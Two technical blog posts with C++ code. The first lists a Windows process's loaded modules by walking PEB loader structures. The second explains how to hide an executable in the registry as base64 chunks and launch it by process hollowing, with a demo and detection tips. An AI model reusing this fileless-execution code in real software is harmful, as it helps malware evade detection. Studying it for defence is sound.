RCE Endeavors 😅

This post will show how to enumerate a processes loaded modules without the use of any direct Windows API call. It will rely on partially undocumented functionality both from the native API and the undocumented structures provided by them. The implementation discussed is actually reasonably close to how EnumProcessModules works.

Undocumented Functions and Structures

The main undocumented function that will be used here is NtQueryInformationProcess, which is a very general function that can return a large variety of information about a process depending on input parameters. It takes in a PROCINFOCLASS as its second parameter, which determines which type of information it is to return. The value of this parameter are largely undocumented, but a complete definition of it can be found here. The parameter of interest here will be ProcessBasicInformation, which fills out a PROCESS_BASIC_INFORMATION structure prior to returning. In code this looks like the following:

PROCESS_BASIC_INFORMATION procBasicInfo = { 0 };
ULONG ulRetLength = 0;
NTSTATUS ntStatus = NtQueryInformationProcess(hProcess,
    PROCESS_INFORMATION_CLASS_FULL::ProcessBasicInformation, &procBasicInfo,
    sizeof(PROCESS_BASIC_INFORMATION), &ulRetLength);
if (ntStatus != STATUS_SUCCESS)
{
    fprintf(stderr, "Could not get process information. Status = %X\n",
        ntStatus);
    exit(-1);
}

This structure, too, is largely undocumented. Its full definition can be found here. The field of interest is the second one, the pointer to the processes PEB. This is a very large structure that is mapped into every process and contains an enormous amount of information about the process. Among the vast amount of information contained within the PEB are the loaded modules lists. The Ldr member in the PEB is a pointer to a PEB_LDR_DATA structure which contains these three lists. These three lists contain the same modules, but ordered differently; either in load order, memory initialization order, or initialization order as their names describe. The list consists of LDR_DATA_TABLE_ENTRY entries that contain extended information about the loaded module.

Retrieving Module Information

The above definitions are all that is needed in order to implement manual module traversal. The general idea is the following:

1. Open a handle to the target process and obtain the address of its PEB (via NtQuerySystemInformation).
2. Read the PEB structure from the process (via ReadProcessMemory).
3. Read the PEB_LDR_DATA from the PEB (via ReadProcessMemory).
4. Store off the top node and begin traversing the doubly-linked list, reading each node (via ReadProcessMemory).

Writing it in C++ translates to the following:

void EnumerateProcessDlls(const HANDLE hProcess)
{
    PROCESS_BASIC_INFORMATION procBasicInfo = { 0 };
    ULONG ulRetLength = 0;
    NTSTATUS ntStatus = NtQueryInformationProcess(hProcess,
        PROCESS_INFORMATION_CLASS_FULL::ProcessBasicInformation, &procBasicInfo,
        sizeof(PROCESS_BASIC_INFORMATION), &ulRetLength);
    if (ntStatus != STATUS_SUCCESS)
    {
        fprintf(stderr, "Could not get process information. Status = %X\n",
            ntStatus);
        exit(-1);
    }
 
    PEB procPeb = { 0 };
    SIZE_T ulBytesRead = 0;
    bool bRet = BOOLIFY(ReadProcessMemory(hProcess, (LPCVOID)procBasicInfo.PebBaseAddress, &procPeb,
        sizeof(PEB), &ulBytesRead));
    if (!bRet)
    {
        fprintf(stderr, "Failed to read PEB from process. Error = %X\n",
            GetLastError());
        exit(-1);
    }
 
    PEB_LDR_DATA pebLdrData = { 0 };
    bRet = BOOLIFY(ReadProcessMemory(hProcess, (LPCVOID)procPeb.Ldr, &pebLdrData, sizeof(PEB_LDR_DATA),
        &ulBytesRead));
    if (!bRet)
    {
        fprintf(stderr, "Failed to read module list from process. Error = %X\n",
            GetLastError());
        exit(-1);
    }
 
    LIST_ENTRY *pLdrListHead = (LIST_ENTRY *)pebLdrData.InLoadOrderModuleList.Flink;
    LIST_ENTRY *pLdrCurrentNode = pebLdrData.InLoadOrderModuleList.Flink;
    do
    {
        LDR_DATA_TABLE_ENTRY lstEntry = { 0 };
        bRet = BOOLIFY(ReadProcessMemory(hProcess, (LPCVOID)pLdrCurrentNode, &lstEntry,
            sizeof(LDR_DATA_TABLE_ENTRY), &ulBytesRead));
        if (!bRet)
        {
            fprintf(stderr, "Could not read list entry from LDR list. Error = %X\n",
                GetLastError());
            exit(-1);
        }
 
        pLdrCurrentNode = lstEntry.InLoadOrderLinks.Flink;
 
        WCHAR strFullDllName[MAX_PATH] = { 0 };
        WCHAR strBaseDllName[MAX_PATH] = { 0 };
        if (lstEntry.FullDllName.Length > 0)
        {
            bRet = BOOLIFY(ReadProcessMemory(hProcess, (LPCVOID)lstEntry.FullDllName.Buffer, &strFullDllName,
                lstEntry.FullDllName.Length, &ulBytesRead));
            if (bRet)
            {
                wprintf(L"Full Dll Name: %s\n", strFullDllName);
            }
        }
 
        if (lstEntry.BaseDllName.Length > 0)
        {
            bRet = BOOLIFY(ReadProcessMemory(hProcess, (LPCVOID)lstEntry.BaseDllName.Buffer, &strBaseDllName,
                lstEntry.BaseDllName.Length, &ulBytesRead));
            if (bRet)
            {
                wprintf(L"Base Dll Name: %s\n", strBaseDllName);
            }
        }
 
        if (lstEntry.DllBase != nullptr && lstEntry.SizeOfImage != 0)
        {
            wprintf(
                L"  Dll Base: %p\n"
                L"  Entry point: %p\n"
                L"  Size of Image: %X\n",
                lstEntry.DllBase, lstEntry.EntryPoint, lstEntry.SizeOfImage);
        }
 
    } while (pLdrListHead != pLdrCurrentNode);
}

Code

The Visual Studio 2015 project for this example can be found here. The source code is viewable on Github here.
This code was tested on x64 Windows 7, 8.1, and 10.

Follow on Twitter for more updates

This post will cover the topic of a semi-common malware technique: hiding executable data in the Windows registry. This involves writing either part of, or an entire, executable into the registry and loading it to execute later. This technique aims at stealth by not tying the potential malicious functionality to a binary; instead the functionality can be scatted across the Windows registry under many keys, making it harder to detect. The actual data, the executable code that will be loaded in these keys, can be (re)-encoded an arbitrary amount of times to make signature scanning more difficult. A good detection strategy here would be to look for the process loading the data rather than scan the registry itself.

Storing Files in the Registry

The first part involves getting a file into the registry. For this example, an entire file will be split up and written in parts under a single key. In the next sections, this file will be retrieved, combined, and lastly executed in a hollowed process. There are several ways to go about doing this in terms of how the file will actually be stored in the registry. The registry has different value types that can store a variety of types of data, ranging from raw binary data, 32/64-bit values, and strings. For this example, the file will be Base64 encoded and written as string (REG_SZ) values.

Getting data into the registry is pretty straightforward. It involves opening a handle to the key with RegCreateKeyEx, which opens a handle to an existing key or creates a new one, followed by calling RegGetValue and RegSetValueEx to perform reads and writes. The example code below shows these three operations:

const HKEY OpenRegistryKey(const char * const strKeyName, const bool bCreate = true)
{
    HKEY hKey = nullptr;
    DWORD dwResult = 0;
 
    LONG lRet = RegCreateKeyExA(HKEY_CURRENT_USER, strKeyName, 0,
        nullptr, 0, KEY_READ | KEY_WRITE | KEY_CREATE_SUB_KEY,
        nullptr, &hKey, &dwResult);
    if (lRet != ERROR_SUCCESS)
    {
        fprintf(stderr, "Could not create/open registry key. Error = %X\n",
            lRet);
        exit(-1);
    }
 
    if (bCreate && dwResult == REG_CREATED_NEW_KEY)
    {
        fprintf(stdout, "Created new registry key.\n");
    }
    else
    {
        fprintf(stdout, "Opened existing registry key.\n");
    }
 
    return hKey;
}
 
void WriteRegistryKeyString(const HKEY hKey, const char * const strValueName,
    const BYTE *pBytes, const DWORD dwSize)
{
    std::string strEncodedData = base64_encode(pBytes, dwSize);
 
    LONG lRet = RegSetValueExA(hKey, strValueName, 0, REG_SZ, (const BYTE *)strEncodedData.c_str(), strEncodedData.length());
    if (lRet != ERROR_SUCCESS)
    {
        fprintf(stderr, "Could not write registry value. Error = %X\n",
            lRet);
        exit(-1);
    }
}
 
const std::array<BYTE, READ_WRITE_SIZE> ReadRegistryKeyString(const char * const strKeyName,
    const char * const strValueName, bool &bErrorOccured)
{
    DWORD dwType = 0;
    const DWORD dwMaxReadSize = READ_WRITE_SIZE * 2;
    DWORD dwReadSize = dwMaxReadSize;
 
    char strBytesEncoded[READ_WRITE_SIZE * 2] = { 0 };
 
    LONG lRet = RegGetValueA(HKEY_CURRENT_USER, strKeyName, strValueName,
        RRF_RT_REG_SZ, &dwType, strBytesEncoded, &dwReadSize);
 
    std::array<BYTE, READ_WRITE_SIZE> pBytes = { 0 };
    std::string strDecoded = base64_decode(std::string(strBytesEncoded));
    (void)memcpy(pBytes.data(), strDecoded.c_str(), strDecoded.size());
 
    if (lRet != ERROR_SUCCESS)
    {
        fprintf(stderr, "Could not read registry value. Error = %X\n",
            lRet);
        bErrorOccured = true;
    }
    if (dwType != REG_SZ || (dwReadSize == 0 || dwReadSize > dwMaxReadSize))
    {
        fprintf(stderr, "Did not correctly read back a string from the registry.\n");
        bErrorOccured = true;
    }
 
    return pBytes;
}

This is nearly all that is needed to get a file into the registry. There are some additional details, such as splitting the file up into several keys, which won’t be shown in this post to space save (but is available in the sample code). The code using these functions to split and write the file into the registry is shown below:

void WriteFileToRegistry(const char * const pFilePath)
{
    HKEY hKey = OpenRegistryKey("RegistryTest");
 
    std::string strSubName = "Part";
    std::string strSizeName = "Size";
    size_t ulIndex = 1;
 
    auto splitFile = SplitFile(pFilePath);
    for (size_t i = 0; i < splitFile.size(); ++i)
    {
        std::string strFullName(strSubName + std::to_string(ulIndex));
 
        WriteRegistryKeyString(hKey, strFullName.c_str(), splitFile[i].data(), READ_WRITE_SIZE);
        ++ulIndex;
    }
 
    CloseHandle(hKey);
}

The top-level key for the example code is under HKCU\\RegistryTest. The exectuable file will be split up into 2048 byte chunks, base64 encoded, and then written in as values named “Part1”, “Part2”, … “PartN”. An 8KB file written to the registry is shown below after executing this code:

A Base64 decoder can quickly verify that the contents of the keys look correct. Inputting the “Part1” key shows the following output (trimmed), where the PE header can be seen:

MZ[144][0][3][0][0][0][4][0][0][0][255][255][0][0][184][0][0][0][0][0][0][0]@[0][0][0][0][0][0][0]
[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][240][0][0][0]
[14][31][186][14][0][180][9][205]![184][1]L[205]!This program cannot be run in DOS mode.[13][13]
[10]$[0][0][0][0][0][0][0][181]!:

The file is now in the registry and can be deleted on disk.

Retrieving Files from the Registry

At this point, the file is split up and in the registry. Retrieving the file is nothing more than performing the opposite of the first section: reading the individual parts, base64 decoding them, and combining the data into a single stream. The code for this is shown below:

NewProcessInfo JoinRegistryToFile(const char * const strKeyName, const char * const strValueName)
{
    NewProcessInfo newProcessInfo = { 0 };
    std::vector<std::array<BYTE, READ_WRITE_SIZE>> splitFile;
 
    size_t ulKeyIndex = 1;
    std::string strFullName(strValueName + std::to_string(ulKeyIndex));
 
    bool bErrorOccured = false;
    auto partFile = ReadRegistryKeyString(strKeyName, strFullName.c_str(), bErrorOccured);
 
    while (!bErrorOccured)
    {
        splitFile.push_back(partFile);
 
        ++ulKeyIndex;
        strFullName = strValueName + std::to_string(ulKeyIndex);
 
        partFile = ReadRegistryKeyString(strKeyName, strFullName.c_str(), bErrorOccured);
    }
 
    newProcessInfo.pFileData = std::unique_ptr<BYTE[]>(new BYTE[splitFile.size() * READ_WRITE_SIZE]);
    memset(newProcessInfo.pFileData.get(), 0, splitFile.size() * READ_WRITE_SIZE);
 
    size_t ulWriteIndex = 0;
    for (auto &split : splitFile)
    {
        (void)memcpy(&newProcessInfo.pFileData.get()[ulWriteIndex * READ_WRITE_SIZE], splitFile[ulWriteIndex].data(),
            READ_WRITE_SIZE);
        ++ulWriteIndex;
    }
 
    newProcessInfo.pDosHeader = (IMAGE_DOS_HEADER *)&(newProcessInfo.pFileData.get()[0]);
    newProcessInfo.pNtHeaders = (IMAGE_NT_HEADERS *)&(newProcessInfo.pFileData.get()[newProcessInfo.pDosHeader->e_lfanew]);
 
    return newProcessInfo;
}

Here the ReadRegistryKeyString function, whose definition is in the previous section, is called to retrieve the parts. These individual parts are then combined afterwards and stored in newProcessInfo.pFileData. There are some additional fields initialized, such as the beginning of the PE DOS and NT headers, which will be useful for the next section.

Loading the Retrieved File

At this point, the file has been retrieved from the registry and is stored in a buffer in memory. Writing the contents to disk and launching the process would defeat the point of storing it in the registry in the first place, since the file is back on disk. Instead process hollowing will be employed. A dummy process will be launched in a suspended state and have its memory unmapped. Afterwards, the bytes that were retrieved from the registry will be mapped into this process and the process will begin executing. At the topmost level, the code looks like the following:

void ExecuteFileFromRegistry(const char * const pValueName)
{
    HKEY hKey = OpenRegistryKey("RegistryTest");
 
    auto newProcessInfo = JoinRegistryToFile("RegistryTest", pValueName);
    auto processInfo = MapTargetProcess(newProcessInfo, "DummyProcess.exe");
    RunTargetProcess(newProcessInfo, processInfo);
 
    CloseHandle(hKey);
}

MapTargetProcess and RunTargetProcess won’t be shown here since they are close copies from the 2011 post on the topic that I wrote. A note that I would like to make is that this technique works if the dummy and replacement processes are both x86, and were compiled with DEP/ASLR disabled. A refinement of this technique to support x64 and DEP/ASLR enabled is something that I hope to post soon. A screenshot of the code in action is shown below:
Here DummyProcess.exe (included in the zip) is the process that has been hollowed out and replaced with another process, ReplacementProcess.exe (also included in the zip). The “Sample” folder provided in the zip provides interactive example. To demonstrate, do the following:

• Run DummyProcess.exe and observe that it is a Win32 UI application.
• Run write.bat, which calls FilelessLauncher.exe to write  ReplacementProcess.exe under HKCU\\RegistryTest
• Delete ReplacementProcess.exe
• Run execute.bat, which calls FilelessLauncher.exe to read HKCU\\RegistryTest and retrieve the bytes of ReplacementProcess.exe. It will then unmap DummyProcess.exe and write the bytes for ReplacementProcess.exe in. The process will then resume and a message box will pop up, which is the code for ReplacementProcess.exe

Make sure to clean up the registry afterwards.

Conclusion and Code

The technique presented in this post covered how to perform fileless storage of an executable by placing it in the Windows registry. In terms of counteracting this technique, there are many options. For example, the written code has to be retrieved somehow, which either means that hardcoded values must be present somewhere or that there is configuration somewhere stating how to get the data back from the registry. These are prime for marking as signatures of a malicious executable. Additionally, since process hollowing was employed, those weaknesses apply as well, such as checking the image in memory versus the image on disk and analyzing the differences, of which there will certainly be many. Dynamic analysis also can provide quick answers as to what is going on by monitoring registry APIs as well as checking if NtUnmapViewOfSection is being called, which in itself is a red flag.

The Visual Studio 2015 project for this example can be found here. The source code is viewable on Github here.
This code was tested on x64 Windows 7, 8.1, and 10.

Follow on Twitter for more updates